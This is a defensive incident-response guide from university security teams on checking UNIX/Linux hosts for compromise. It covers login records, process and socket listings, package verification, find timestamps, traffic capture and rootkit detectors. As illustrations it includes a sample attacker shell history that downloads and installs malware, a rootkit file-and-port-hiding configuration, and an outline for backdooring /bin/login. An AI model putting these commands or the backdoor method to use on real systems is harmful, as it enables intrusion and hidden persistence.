Checking UNIX/LINUX Systems for Signs of Compromise

Version: 0.9
18/05/05

Simon Baker, UCL Computer Security Team
Patrick Green, OxCERT

Aims

One of the main aims of this document is to address the lack of documentation concerning concrete actions to be taken when dealing with a compromised *nix system. The document will try to be as generic as possible, so you may find tools for specific platforms are better suited.

A secondary goal is an explanation of methods of examining this information via tools. Utilizing these tools we can then :

- investigate the system
- find the points of entry and type of compromise
- identify areas for further investigation and issues for attention.

Introduction

This guide does not cover the administrative aspect of a compromise, rather it is intended to outline useful tips in finding malware, links to tools for examining the system and define the reasons for undergoing this work.

This document will deal with basic levels of intrusion analysis, it is unlikely that the tools and techniques will be able to detect the presence of rootkits or other methods of data hiding. This report is aimed mainly at intrusions on desktop systems, or initial examination of servers, it is not an in depth technical discussion of recovery of mission critical servers. It should also be noted that a number of these tools will change the file system - this will more than likely make the drive inadmissible as evidence. If you think you might want to involve law enforcement, this isn't the guide to read!

Compromises can occur in a number of ways, possibly a machine was maybe unpatched against a certain vulnerability, or the user is using weak passwords . However the machine has been compromised, it is important to analyze the system to work out how the intruders got in, as this will give you the means for preventing entry in the future - it is useless to reformat and reinstall a box, only to leave the same way in wide open. Understanding the mode of entry can also help determine if other machines on your site have been compromised, i.e. was entry gained through a service unique to this machine, or common to the whole site or department ?

However entry was gained, one of the most important things you can do is update the system, most *nix platforms have some sort of update mechanism which can be used to get the new software. Once the machine has been updated, you should run netstat and ps to make sure that the patches havent overwritten a config file and enabled services you had previously disabled.

A second important aid to examining intrusions is logging, tools such as tripwire and Samhain can be used to provide extensive logs. Another problem however is that it is common for intruders to wipe log files when they gain entry to a system so if possible for mission critical machines, you may want to consider central storage for log files.

In nearly all cases, the easiest way to recover from a compromise is a fresh re-install of the machine, with any appropriate data being restored from known, good and trusted backups, again at this point it helps if you know when the machine was first compromised. In certain cases it can be argued that a re-install is not feasible, due to political or operational reasons. In cases like this, it is worth considering the fact that if you do not re-secure the machine effectively, the miscreants may damage the machine's operating system, programs and data beyond repair, or simply use the machine to compromise other machines resulting in liability issues.

First Steps

Before you begin, let us give you one piece of advice. DON'T PANIC!

You're not the first person this has happened to, and you *certainly* won't be the last!

The first step in recovering any system from a compromise is to **physically** remove any network cables. The reason for this is that if a system is under external control, an attacker could be monitoring what is happening on a machine and if they are aware of your actions could take drastic action to conceal their actions, such as formatting a drive.

However, it should be noted, that if the network cable is unplugged you may lose information about the attacker, you will not see active network connections. This of course is important if you wish to trace the miscreants, however your site security contacts may have policies forcing a disconnection after a break-in, and if your local CERT requests you remove the machine from the network you should of course fully comply with their requests. Your local CERT team may also require you to report any system break-in to them, for compliance purposes. Your local security policies should contain information about any actions you need to take.

Next, you should take a notebook (a paper one, not electronic) as this will be used to take notes in. Write down any important details about the system, starting with the time and date, the IP address and name of the machine, the timezone that the machine's clock is set to, whether the clock was accurate, patches that were installed on it, user accounts, how the problem was found, etc. If anything during the course of your investigation seems pertinent, jot it down.

It will be a handy reference for the future.

Sometimes the obvious tools ...

Intruders don't always get root level access to the machines they break into, they don't always install rootkits. To be honest, in a large number of cases, they don't need to. This is helpful to the response team, as they can use a number of common tools already available on the machine to see what happened.The most likely trojanned binaries are ps, ls, find, lsof, and odd others. If you suspect "ls" to be trojanned, you can try doing "echo *" as a quick workaround (for non-dotfiles anyway).

last

The current trend for intrusions is to brute force weak passwords. Using last you can determine the time a user logged in, and on quiet systems match that up with the actual users log in times. Also, last will give you the hostname / IP address from where the user logged in from. This may give some indications of the legitimacy of the login.

```
last -20
```

will output 20 lines

ls

Listing files and directories is most helpful when you know the time / date of the compromise (possibly found through 'last'). by running,

```
ls -lart /
```

You get a time ordered list of files and directories. You can the correlate that with the time you know the compromise took place, and determine the folders they added and / or removed files from. This is confused on reboots (especially /proc /tmp (on linux)) but as an overview, it is a very handy tool.

netstat

```
netstat -an
```

will list the current listening sockets on the machine. Running it may give you any backdoors that are listening.

ps

ps is a process lister, this has various options (depending on your OS) which will show you the running process on a machine. If you know there is a backdoor listening, this can be helpful to tie it down to an actual process. Try,

```
ps -ef
ps -aux
```

If possible, use lsof for this sort of listings, it has many more features, in this case try these,

```
lsof | grep IPv
lsof | grep LIST
lsof | grep ESTAB
```

bash_history

very conveniently, a number of intruders leave their bash_history files intact. This can tell us a lot about what they did, what they installed and where they got their files from. Typical entries may include,

```
wget http://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar
cd hpd
install
cd ..
rm malware.tar
cd /dev/.hpd
```

This tells you the url they got the malware from, how they ran it, and where it was installed. A good starting point for looking for their directory!

If these techniques dont work, or dont give you the data you expect, you may have to delve a little deeper into the system. Start by verifying the packages on the machine, this will tell you if the tools you have just been using are the actual tools, or trojaned versions.

Verifying installed packages

Once an attacker has gained access to a machine they will likely try and replace the tools on the machine with their own. This allows them to control the functions of the machine. You can determine which packages are the original (ie not trojaned) by verifying the existing packages.

Verification has a number of uses (like checking for package database corruption), but the function that is most useful in this context is the check that the MD5 sum of the package is the correct one. It is possible that this requires a network connection (Solaris Fingerprint database, for example, is a web only application), this has significant problems as compromised machines should be removed from the network as soon as possible.

It is also very common that the intruder will patch the machine they have just broken into – they want to keep it for themselves, and don't want someone else coming along and exploiting the same vulnerability.

Example – RPM

The RedHat Package Manager is a popular method of packaging components used by many linux distributions. It includes a database of all installed software which can be used to verify the integrity of the files installed on the system.

The command

```
rpm -Va
```

will verify all the files on the system which the package manager has installed. It performs the verification using a number of methods. Any files which do not match are printed to the screen along with the criteria which does not match.

A typical example would be

```
S.5....T /bin/login
```

where S, 5, and T indicate filesize, MD5 and mtime have changed. Details of the other checks can be found in the rpm manpage.

This may not be an issue for some files (eg config files in /etc or dynamic files in /var) but would be of concern for files in /usr, /bin or /sbin which do not normally change unless updated by rpm.

Another use of rpm is the command rpm -qa, which lists all the rpms installed on the system, in chronological order. This is useful to see what the most recent installed rpms have been, in cases where the intruder may have updated the system.

It is important to note that if the machine is suspected to have been root compromised then the results from the rpm binary could be altered in the same way as any other application (the same also applies to the rpm database itself but this is less likely). It therefore may be more useful to perform this check after booting a known good operating system and mounting the suspect disk readonly (eg using knoppix).

The option `--root=path-to-suspect-root` then needs to be added to the rpm command line.

Using find

Find is a powerful Unix tool to perform file operations on a Unix filesystem. Where possible it should be run from a known good copy (eg a booted knoppix system) rather than from the suspect filesystem itself to mitigate against the effect of tampering by the intruder.

Although modifiable by the intruder (e.g. A trojaned "find") file access times can often provide a useful indication of what files have changed recently on a system. This can often highlight hidden directories, files and even .bash_history's which all help assess the scope of the attack.

For example

```
find / -mtime 2
```

will show all files modified during the past 2 days. Creation time and access time are also useful, although you should be careful to check that these timestamps are actually used by the operating system (check the mount options in fstab).

It is worth noting that :

```
   find / -ctime -2 -print
```

is very useful as rootkits often have ancient mtime stamps (probably extracted from an old archive), whereas the ctime stamps are better at showing the actual day of the intrusion.

An alternate example – Solaris fingerprint database

Sun uses a different approach to verifying software. They provide the Solaris fingerprint database, which is accessed through a web based form. Firstly create md5 sums of the files you want to check (bearing in mind that an attacker will more than likely compromise the MD5 binary itself – as always boot from good media to check),

```
$md5 /usr/bin/su
MD5 (/usr/bin/su) = 8b98fb9c314bd5b378d9436b1617d014
```

The output can then be pasted into the webpage,

http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl

Once submitted, assuming the sum is correct for the file, then the database should tell you the details for the file,

```
Results of Last Search

8b98fb9c314bd5b378d9436b1617d014 - - 1 match(es)

canonical-path: /usr/bin/su
package: SUNWcsu
version: 11.8.0,REV=2000.01.08.18.12
architecture: sparc
source: Solaris 8/SPARC
```

The fingerprint database can be used to query up to 256 md5 sums at a time. The help files also give some useful examples for extracting md5 sums, such as,

```
find /usr/bin -type f -mtime 1 -print | xargs -n100
/opt/md5/md5-sparc > /tmp/md5s.txt
```

which will extract sums for all the files in the /usr/bin directory that have been changed in the last day.

Sun provide Intel and Sparc md5 binaries, which can be downloaded and used on a machine,

http://sunsolve.sun.com/md5/md5.tar.Z

On Solaris, depending on packages installed, you may have alternative versions of binaries available. In our experience, these are almost never trojanned, so for example there are BSD versions in /usr/ucb, and sometimes there are the POSIX-y xpg4 commands in /usr/xpg4/bin. They can be a quick way of getting some working binaries back.Piping through "cat -v" can show filenames with funny characters that you otherwise might not see or misinterpret.

Pay special attention to files near the "." and ".." entries of a directory in an "ls -la" listing, sometimes there is an extra "..." or a ". " entry or similar.

Data obfuscation and data finding

Once on the machine, an attacker will try and hide themselves and their tools – they want to stay on he machine as long as possible. Data hiding can take many forms, from the simple obfuscation such as directories called:

```
...
```

Which are easily overlooked, to rootkits which will hide directories. Common places to find data include

```
/dev/
/lib/
/var/tmp/
```

And such directories which are not normally examined during the normal use of the machine. If a directory is very similar to another in the same directory, it is likely to be overlooked, for example,

```
/usr/local/share/locale/sk/
/usr/lib/libX.a
```

are examples of 2 directories which have been used in compromises.

Once an intruder has gained access to a machine, they will likely try and 'get root' (although this is becoming less of a goal, with many attackers simply using UNIX machines for storing material or proxying IP connections). For this they may try and escalate privileges through a local vulnerability – assuming the remote vulnerability didnt give them root access! Once they have root level access, they will start replacing the common sysadmin tools, for version which will lie to you, and hide the processes they are running. This sort of obfuscation can be controlled through config files, for example,

```
[file]
find=/usr/lib/libX.a/bin/find
du=/usr/lib/libX.a/bin/du
ls=/usr/lib/libX.a/bin/ls
file_filters=libX.a,lblibps.so,libm.n,modcheck,modstat,wipe,s
```

```
yn,uconf.inv,ntpstats,solbnc,solegg,soliro,6tunnel,dklbnc,psy
bnc.conf
```

The first 3 lines show the location of the original files, in case the intruder needs to run them or put them back. The fourth line shows the files which will not be shown if you were to do a 'ls' on the directory the attacker has installed their tools into.

Further in the config file, we see the line,

```
lsof_filters=lp,uconf.inv,rps,:17171,:55838,:5555,:6667,:6500
0,:2003,/usr/lib/libX.a,libm.n,lsof,solegg,solbnc,dklbnc
```

This shows which ports are hidden from lsof, and probably represent the backdoor ports and the IRC ports (solegg and port 6667 make it look like this is machine has been used as an IRC bounce). The filter will hide outgoing ports as well as those running on the machine.

It may be useful to port scan the machine at this point, or at least try connects to the listed port, to see what you get back. This can be useful in determining what is running on the machine, as irc bouncers will have a different banner to ssh backdoors (ssh backdoors are often installed as to provide another way into the system, in case their normal user account is found out and disabled). It is worth remembering that attackers will often use several backdoors, in case one of them is discovered.

Observing Traffic on the Machine

One of the most useful utilities that can be used to analyse a compromised UNIX system is the “tcpdump” utility. Depending on your operating system, this may already be provided by your vendor ; it is commonly included on most Linux distributions. Solaris users can use the “snoop” command to similar ends. However please be aware that legislation such as the “Regulation of Investigatory Powers Act 2000 (RIPA)” and the “Data Protection Act 1998” may apply, as well as local site policies.

Running “tcpdump” on the host system will enable a semi-raw file dump of the network traffic on the machine. This can then be used to see which other machines the host machine is communicating with and why.

For example, running

```
tcpdump -s0 -w foo.dump
```

will produce a network dump of all traffic, and will write it to the file foo.dump – this file can then be analysed using either the host machine using tcpdump, or analysed on a different machine using ethereal (www.ethereal.org) or another packet analyser.

Linux Rootkits

When an attacker successfully breaks into a Unix system, two of the first things he usually wants to do are:

- Keep the administrators unaware of his presence.
- Prevent the administrators from kicking him off the system.

One of the methods of accomplishing both of these tasks is to modify the system binaries, or even the system libraries.

The most simple and classic example of this is to replace /bin/login.

1. Obtain a copy of the source code to /bin/login for the version of Unix the target host is running -- or at least a very close version.
2. Edit the source code to /bin/login to include a "secret" password that will **always** let you login as root if you enter the "backdoor" password. This backdoor will also not create an entry in the system log files.
3. Compile the source code.
4. **Save a copy of the original /bin/login binary in case something goes wrong.**
5. Replace the original /bin/login with your new /bin/login, keeping the same file permissions, ownerships, and time stamps.

These steps replace one system binary. A rootkit is a collection of modified program sources or binaries which replace an entire set of system binaries.

System binaries replaced by common rootkits include netstat, ifconfig, ps, ld, du, in.telnetd, chfn, chsh, inetd, passwd, top, rshd, and syslogd. However nowadays attackers have become far more skilled in their attacks, and it is unlikely that you will see a compromised machine on which system binaries have been replaced. Indeed, these days attackers usually target the kernel, so that it provides false results to queries.

Any application program is controlled by the kernel, and any system access (such as writing to/reading from the disk) is performed by the kernel. An application will call a kernel syscall, and the kernel will do the work and deliver the result back to the application. In essence, syscalls are the lowest level of system functions

By modifying kernel syscalls, kernel rootkits can hide:

- files
- directories
- processes
- network connections

Obviously, checksums to confirm the integrity of a system are *useless* in this situation.

At time of writing, there are many many rootkits available that attackers use to trojan(a trojan is usually a program that pretends to do one thing, but actually does another, such as allowing a hacker backdoor access to a machine) a system. Some of these are:

- adore-ng
- suckit
- portacelo
- bobkit
- tuxkit
- lrk5

Adore-NG seems to be an extremely fashionable choice amongst computer criminals at the moment, therefore we will examine what this can do, and how you can detect and, more importantly, remove it.

Example Rootkit - Adore-NG

Below is a list of features that this rootkit provides:

- Kernel module based rootkit
- Runs on Linux 2.4.x UP and SMP systems
- file and directory hiding
- process hiding
- socket-hiding (LISTENing, CONNECTED etc)
- full-capability back door
- syslog filtering
- wtmp/utmp/lastlog filtering

Recovering from a rootkit

The only 100% failsafe method of recovering from a system level compromise is to completely reinstall the box, and carefully examine any data that is restored from a backup. However, there may be times when you are unable to do this, for instance on a very high-availability machine.

There are other ways to recover from a Linux rootkit, though unless it is absolutely necessary to keep the machine operational we do not recommend following the steps below.

Caveat Emptor : This could make your machine unbootable.

if you use a custom (own-built) kernel and modules, type

```
# make modules && make modules_install
```

in the kernel sources directory, which is usually /usr/src/linux or similar.

If you're using an RPM install of the kernel modules, re-install the package. This will overwrite the evil LKM (Loadable Kernel Module) which will have “piggy backed” onto another module.

Deter-mine

http://stealth.openwall.net/rootkits/removal/

Deter-mine may be used to detect processes hidden by LKM rootkits from ps/top etc. It can help administrators to check their machines for hidden processes. It additionally contains a (yet small but extensible) signature database for which it can scan the memory, and deter-mine works for 2.4 and 2.6 Linux Kernels. In fact, deter-mine is even recommended by the author of the "adore-ng" rootkit, though of course one must question his motives!

Download the tarball from the above website, and unpack it. To build the utility, simply run "make" in the directory (this of course assumes that you have the development utilities installed, such as the "make" utility and a C compiler).

Then, simply run the tool as shown below:

```
linux:~/determine # ./determine

deter-mine LKM rootkit detector. (C) 2004 Stealth

Trying to detect hidden processes ...
Process with PID 947 does not have a appropriate /proc entry.
Hidden?
Done.
Scanning /dev/mem for signatures. This may take a while ...
Signature of 'Adore/Adore-ng LKM' detected!
Done.

Unusual behavior has been detected. Please consult the
removal chapter of the README-file.

linux:~/determine #
```

There are a few other methods to attempt to discover if a rootkit is in use on a system.

Kern-check.c

http://la-samhna.de/library/kern_check.c
(verify with http://la-samhna.de/library/kern_check.c.asc)

kern-check is a small command-line utility (for Linux 2.2.x, 2.4.x) that will compare your "System.map" against your kernels syscall table and warn about any inconsistencies.

Software tools to help

This section identifies some of the user tools that can be used both before a compromise, to give more detail if the worst happens, and to examine the machine if a compromise occurs.

Rootkit Hunter (http://www.rootkit.nl/projects/rootkit_hunter.html)

Rootkit Hunter is an easy-to-use tool which checks machines running UNIX (clones) for the presence of rootkits and other unwanted tools.

Samhain (http://la-samhna.de/samhain/)

Samhain is a file integrity system (and host based intrusion detections system). It can be used networked or standalone

Tripwire (http://www.tripwire.org/ - opensource version)

Tripwire is another file integrity system. It maintains a database of signatures to specified files. If those files are changed, then the signatures no longer match and an alert is raised.

Chkrootkit (http://www.chkrootkit.org/)

chkrootkit is a tool which is run locally to check for signs of a rootkit. It is signature based and has a large number of rootkit signatures that it checks against. It cant be used to say definitively 'there is no rootkit on this machine', only if the machine has a rootkit installed which matches its signatures.

Knoppix (http://www.knoppix.org/)

Knoppix is a live linux cd – it runs without installing anything onto the hard drive of the machine. This can be very useful as it allows the investigator to use known, good tools to search the hard drive. It does have the downside that requires the machine to be switched off and not rebooted so network information such as open ports will be lost.

There are BSD versions available for example, http://www.livebsd.com/

As discussed earlier, the intruder will try to replace the common tools, for that reason it is important to keep a disk of these tools (statically linked) available, so you can take it to the machine and run them instead of the bad ones. Some of the tools you might find useful are,

lsof
netstat
ps
strings
grep

Contributors

We wish to thank the following for invaluable contributions to this document.

Jethro Binks, Chris Edwards, Garaidh Cochrane, Kuldip Purewal.